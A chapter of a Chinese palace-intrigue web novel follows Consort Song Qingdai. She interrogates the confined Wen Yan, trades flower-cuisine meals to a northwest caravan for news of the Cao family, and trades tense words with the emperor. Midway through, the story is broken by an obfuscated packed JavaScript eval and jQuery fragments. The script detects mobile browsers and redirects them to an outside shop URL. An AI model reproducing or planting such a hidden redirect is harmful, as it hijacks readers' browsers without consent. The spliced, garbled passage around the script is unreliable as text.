“美人,赶紧问话,我们不能在这里呆太长的时间。”吴嬷嬷紧张地开口。
宋青黛走到温言床前,耐心询问:“前几日我看见贵妃,她说因为你一直伤害她,她才对付你。你有什么需要解释?”
听到仇人的名字,蜷缩在一起的温言突然挣扎起来:“不是我,是她先对我动的手!”
“你做了什么事情?”宋青黛见温言紧咬牙关,又道,“太后现在派我过来,是给你机会。你若不交代,一切便顺了贵妃的意。”
温言突然把一个牌位砸碎。
原来她曾经因为妒忌害死贵妃的结义姐妹,贵妃故意跟她交好,就是为了报仇。
那株牡丹就是贵妃结义金兰的象征。
温言自言自语,多次提到贵妃怜惜牡丹,想要报复她。
张嬷嬷快速记下来,宋青黛久久注视着温言,想要看穿她在想什么?
温言的确很憔悴,但奇怪的是,她的枕巾并无长期卧床的折痕,或许睡不着觉,只是呆坐到天亮。
宋青黛心生怀疑,让张嬷嬷继续审问温言,自己则出去外面转转,找到一个倒垃圾的杂役,递给他一块银子,查看温言的食物残渣。
“宋美人,安嫔经常食用安神枣仁糕,日常饮食也是以安神药膳为主。”杂役压低声音。
宋青黛点头,温言进食次数和进食量都少,看上去符合病症,但是宋青黛清楚,枣仁糕饱腹感强,一天吃个两三块也能保持体能。
光看这些东西不能证明温言已经失心疯。
“对啊,安嫔身边还有一个嬷嬷,你见过她吗?”宋青黛问。
“没有,只有温言娘娘。”杂役老实交代。
这倒是奇怪,皇帝还没有处置温言,吴嬷嬷怎么敢丢弃主人,自动消失?
想到这里,她重新回到房间询问温言。
“那个混蛋!她就是贵妃安排在我身边的探子!故意……报复我!”温言突然抓狂,此时的她更像精神崩溃。
宋青黛耐心引导,安嫔说出一个惊天大秘密。
“吴嬷嬷是西北曹家的人,跟父亲有灭族恩怨,她潜伏在我身边就是想报仇!”
温言语无伦次,宋青黛听得一脸茫然,求救地看向张嬷嬷。
“我知道的也不多,你只能问皇上。”张嬷嬷说。
宋青黛将温言的话转述给原随之。
原随之拿出吴嬷嬷献给他的玉扣和信,他曾经跟宋青黛说起曹家的辉煌。
当时两人只是怀疑吴嬷嬷跟曹家有关系,如今看来,吴嬷嬷、贵妃和曹家都有或多或少的联系。
“那我们确定吴嬷嬷是曹氏之人?”宋青黛问。
“她费尽心思,肯定有所图。”原随之冷笑,“如今安嫔被关押禁地,反而是救了她一命,让吴嬷嬷无从下手。”
宋青黛这才明白,原随之和太后是阴差阳错下,反而救了温言一命。
“我觉得不关温远和的事,当时温远和只是知县,没办法插手将军的事情。”避免宋青黛被吴嬷嬷利用,原随之将自己知道的东西托盘而出,“他流放西北时,曹家已经灭门五、六年。”
“可以从曹家子弟的人际关系入手,做过的事情肯定留下痕迹,”宋青黛分析。
原随之问:“你还相信温言?”
宋青黛苦笑着摇头,“我如今很混乱。温言说是因为伤害贵妃的好友,贵妃才报复。可如今又出现一个曹家,让我捉摸不透。”
原随之疑惑:“我没有姓曹的妃子,但是先帝有,不过已经去世多年,按年纪来看,不可能是贵妃的朋友。”
两人对视一眼。宋青黛问:“难道贵妃跟曹家有联络?温言向我们透露的这些,是在提醒?”
“我这就派人去西北打听消息。”原随之的思路打通,迅速行动。
宋青黛主动请命:“芳邻社能派上用场!”
原随之点头,允许她调动芳邻社的一切资源,查找曹家的信息。
一支从西北过来的商队因水土不服,住在芳邻社附近的欢喜客栈。
宋青黛盯上他们,巧手一抬,制作出桂花酒酿小圆子、玫瑰山药糕、洛神花山楂饮,取名“健脾养胃花膳套餐”。
“这样做真的能吸引商队过来吗?”婉菊问,“要不要我去宣传?”
宋青黛闭目养神,“水土不服是件很痛苦的事情,商队自然会到处寻找治愈方法,我们静候佳音便可。”
婉菊站在原地忐忑不安,她相信宋青黛,但好酒也怕巷子深,又害怕商队已经找到治疗的药物,时不时揉皱手帕。
时间一点点过去,婉菊更加慌张。
“你的花膳能安神助眠,提振食欲?”一个满脸络腮胡的粗壮大汉挡在婉菊面前。
鱼上钩了,宋青黛睁开眼睛,手指了指餐桌上的食物,“你可以试吃,觉得不错再来购买。”
大汉没有犹豫,直接拿起一块玫瑰山药糕塞入口中。
蒸熟的山药泥夹杂着甜甜的玫瑰花瓣,入口即化,清爽微甜的口感让他心情愉悦,大口一张一合,将整块糕点吞食而下。
“小心点,这里有山楂饮,”婉菊担心他噎着自己,赶紧递饮料。
山楂的酸甜让大汉的牙齿发酸发麻,但他却觉得食欲大增,仿佛能吃下一头牛,身体也轻松许多,整个人恢复力气。
“如果我要大量购买花膳套餐,需要多少钱?”大汉主动开口。
“有多少个人?”宋青黛问。
“三十来人。”大汉挠了挠自己的头,有些尴尬道,“你的花卉材料罕见,我们可能没有那么多银子。”
“这个人数还在我的能力范围内,”宋青黛摇头,“但是我不要银子。”
大汉瞪大眼睛,没想到她居然坐地起价,但是为了同伴的身体,他还是想争取一下,“我可以用货物来抵一部分钱。”
“我知道你们走南闯北,见多识广,你若能帮我打听消息,我可以免费为你们提供食物。”宋青黛拿出自己提前写下的纸张。
大汉没想到还有这等好事,惊喜地接过纸张,看到字时忍不住皱起眉头,“我认识曹家人,但是你问这个干什么?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073836|194621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>宋青黛闪过精光,没想到自己运气这么好,立刻把吴嬷嬷的画像交给大汉,“你看看这个妇女是不是曹家人?她欠我东西不还。”
大汉松了口气,原来是商业纠纷,但曹家出事那么久,他早就记不得有没有吴嬷嬷这个人。
但他又不想放弃到手的花膳,愁眉苦脸地盯着画像,似乎要看出一个洞。
“你问问有没有同伴知道曹家的消息,如果消息符合立刻交易,”宋青黛莞尔一笑,没想到大汉如此贪吃。
大汉急匆匆去搬救兵,很快传来消息。
曹家灭绝是嫡系和庶系之争,最后被其他人捡漏。
至于吴嬷嬷的身份,由于时间已久,无法确认,但商队回西北的时候,可以帮忙打听消息。
宋青黛爽快跟他们做了交易,还送给他们调养胃肠的花膳方子。
婉菊不明白,为什么宋青黛要做这种低回报的交易。
宋青黛笑了笑,西北除了曹家,还有温远河,她现在知道的消息都是通过皇帝和宋父。总是要给自己一个打探消息的渠道,留条后路。不过这些话没有必要跟婉菊说。
婉菊以为,宋青黛担心吴嬷嬷,才莽撞行事,心里越发郁闷。
“我叫孟九,下次见面,我想要吃传说中的茉莉花鸡茸粥,”壮汉眨了眨眼睛,打趣道。
说着,递给宋青黛一个匣子,“这是加急送回的消息,希望能换取一年的花膳抢先吃名额。”
宋青黛紧紧抱住匣子,郑重地谢过孟九,心里满满成就感,她的花膳就是吸引人!
匣子只有薄薄一张纸,写着:曹家有叛徒,可能跟银子有关,也有可能跟西北的将军有关。
宋青黛想到之前京城周围出现土匪,瞬间感觉事情不妙。立刻告诉原随之。
“你这么一说,倒也有可能,”原随之的声音越来越冷,“那些土匪突然间消失,我就担心他们卷土重来,如果藏在西北,麻烦大了。”
“我们抢先发现他们的秘密,做好准备即可。”宋青黛安慰,突然想到什么,连声说,“原侍卫在西北,或许能让他监视西北的将领。”
原随之脸色不虞,他并不希望宋青黛记着原侍卫,哪怕是自己的另一个身份,都有一种被觊觎的错觉。
原随之的冷漠让宋青黛不知所措,极力寻找话题,“我许久未见原侍卫,也不知道他过得好不好。他在西北那么久,肯定有一番建树。”
“好了,不要讨论别人,”原随之声音沙哑,强忍醋意,对上宋青黛失落的眼神心头一紧,语气僵硬,“你这几天辛苦,要保重身体。”
两人相顾无言。
宋青黛只觉得古代的男人都是有问题,原侍卫前一秒跟她相处的好好的,下一秒就找青梅竹马,而嘉平帝也是这样,忽冷忽热。
难道是因为西北牵扯到温家,牵扯到温言?
宋青黛以为自己找到问题源头,胃里凝结一股气,狠狠地冲击着五脏六腑。
她气喘吁吁,想起孟九的夸奖,女子在古代也要有自己的一番事业,不要只围着男人转。